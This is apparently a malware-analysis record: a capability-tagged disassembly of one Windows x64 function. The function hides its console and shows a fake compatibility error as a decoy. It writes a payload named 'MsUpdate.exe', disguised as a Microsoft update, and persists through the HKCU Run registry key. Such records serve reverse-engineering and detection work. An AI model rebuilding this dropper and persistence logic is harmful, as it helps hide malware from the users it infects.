Function at 0x140002b90
Capabilities:
Access peb ldr_data
Delete registry key
Get common file path
Get session user name
Persist via run registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [0x14002d018]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov qword [rbp + 0x198], r14
mov qword [rsp + 0x60], r14
mov qword [rbp + 0x1a0], r14
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor r8d, r8d
lea edx, [r14 + 0xe]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], r14d
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov ecx, dword [0x14002da44]
shl ecx, 0xd
xor ecx, dword [0x14002da44]
mov eax, ecx
shr eax, 0x11
xor eax, ecx
mov ecx, eax
shl ecx, 5
xor ecx, eax
mov dword [0x14002da44], ecx
mov dword [rsp + 0x50], ecx
cmp ecx, 0x491fd3a1
ja 0x140002c48
lea rcx, [rsp + 0x50]
call fcn.140002b20
mov ecx, dword [rsp + 0x50]
cmp ecx, 0xffffff
jae 0x140002d64
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExW]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov qword [rsp + 0x28], r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x14002ee20], r14d
mov qword [rsp + 0x700], rbx
mov qword [rsp + 0x708], rsi
mov qword [rsp + 0x710], rdi
jne 0x140002dc1
lea rdx, [0x14002edf0]
mov ecx, 0x1d5565b3
call fcn.1400026d0
test eax, eax
je 0x140003135
lea rdx, [0x14002ee10]
mov ecx, 0xb1cafd37
call fcn.1400026d0
test eax, eax
je 0x140003135
mov dword [0x14002ee20], 1
call fcn.1400021d0
test eax, eax
je 0x140003135
call fcn.140001b00
test eax, eax
je 0x140003135
mov r9d, 0x10
lea r8, str.Compatibility_Issue
lea rdx, str.The_system_is_not_compatible_with_this_application.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [0x1400298d8]
lea rcx, [rbp + 0x1d0]
movsd xmm0, qword [str.:_x_x]
xor edx, edx
mov dword [rbp + 0x1c0], eax
mov r8d, 0x410
movzx eax, word [0x1400298dc]
mov word [rbp + 0x1c4], ax
movsd qword [rbp + 0x1b8], xmm0
call fcn.140002670
xor eax, eax
mov byte [rsp + 0x70], r14b
xor edx, edx
mov word [rsp + 0x71], ax
mov r8d, 0x20c
mov byte [rsp + 0x73], al
lea rcx, [rbp - 0x7c]
mov dword [rsp + 0x74], eax
mov qword [rsp + 0x78], r14
mov dword [rbp - 0x80], 0xe
call fcn.140002670
mov r8d, 0x208
mov byte [rbp + 0x190], 1
lea rdx, [rbp + 0x1d0]
xor ecx, ecx
call qword [0x14002eda0]
test eax, eax
je 0x140002f6b
call fcn.140009b90
mov ebx, eax
call fcn.140009b90
imul ebx, eax
call fcn.140009b90
mov r9d, eax
mov dword [rsp + 0x20], ebx
lea r8, [rbp + 0x1b8]
mov edx, 0x104
lea rcx, [rbp - 0x7c]
call fcn.140001670
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp + 0x1d0]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [0x14002ed98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002f6b
mov r9d, 0x220
lea r8, [rsp + 0x70]
mov edx, 3
mov rcx, rax
call qword [0x14002eda8]
test eax, eax
je 0x140002f62
mov rcx, rbx
call qword [0x14002ed08]
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
lea rcx, [rbp + 0x1d0]
mov edx, 0x110000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [0x14002ed98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002f6b
mov r9d, 1
lea r8, [rbp + 0x190]
mov rcx, rax
lea edx, [r9 + 3]
call qword [0x14002eda8]
mov rcx, rbx
call qword [0x14002ed08]
mov rax, qword gs:[0x60]
lea r9, [rbp + 0x198]
mov edx, 0x65
lea r8, [rsp + 0x58]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax + 0x20]
call fcn.1400010e0
test eax, eax
je 0x140003135
mov rax, qword gs:[0x60]
lea r9, [rbp + 0x1a0]
mov edx, 0x66
lea r8, [rsp + 0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
mov rcx, qword [rax + 0x20]
call fcn.1400010e0
test eax, eax
je 0x140003135
mov edi, dword [rbp + 0x198]
lea rdx, [rbp + 0x1d0]
mov rsi, qword [rsp + 0x58]
xor r9d, r9d
xor ecx, ecx
mov qword [rbp + 0x1b8], r14
lea r8d, [r9 + 0x1a]
call qword [0x14002ecf8]
test eax, eax
je 0x140003135
lea rax, str.MsUpdate.exe
mov edx, 0x208
lea r9, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140001720
test eax, eax
js 0x140003135
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [0x14002ed00]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140003135
mov rdx, qword [0x14002edf8]
mov ecx, dword [0x14002edf0]
call fcn.1400031a0
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x1a8]
mov qword [rsp + 0x28], rsi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400031cc
mov rcx, rbx
call qword [0x14002ed08]
lea rax, [rsp + 0x50]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [0x14002ed48]
test eax, eax
jne 0x140003135
lea rcx, [rsp + 0x70]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r14b
jne 0x1400030f2
mov rcx, qword [rsp + 0x50]
lea rdx, str.MsUpdate
inc eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [0x14002ed60]
test eax, eax
je 0x140003172
mov rcx, qword [rsp + 0x50]
call qword [0x14002ed58]
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x710]
mov rsi, qword [rsp + 0x708]
mov rbx, qword [rsp + 0x700]
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.140003210
mov r14, qword [rsp + 0x718]
add rsp, 0x6f0
pop rbp
ret
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003182
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140003192
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
jmp 0x14000313a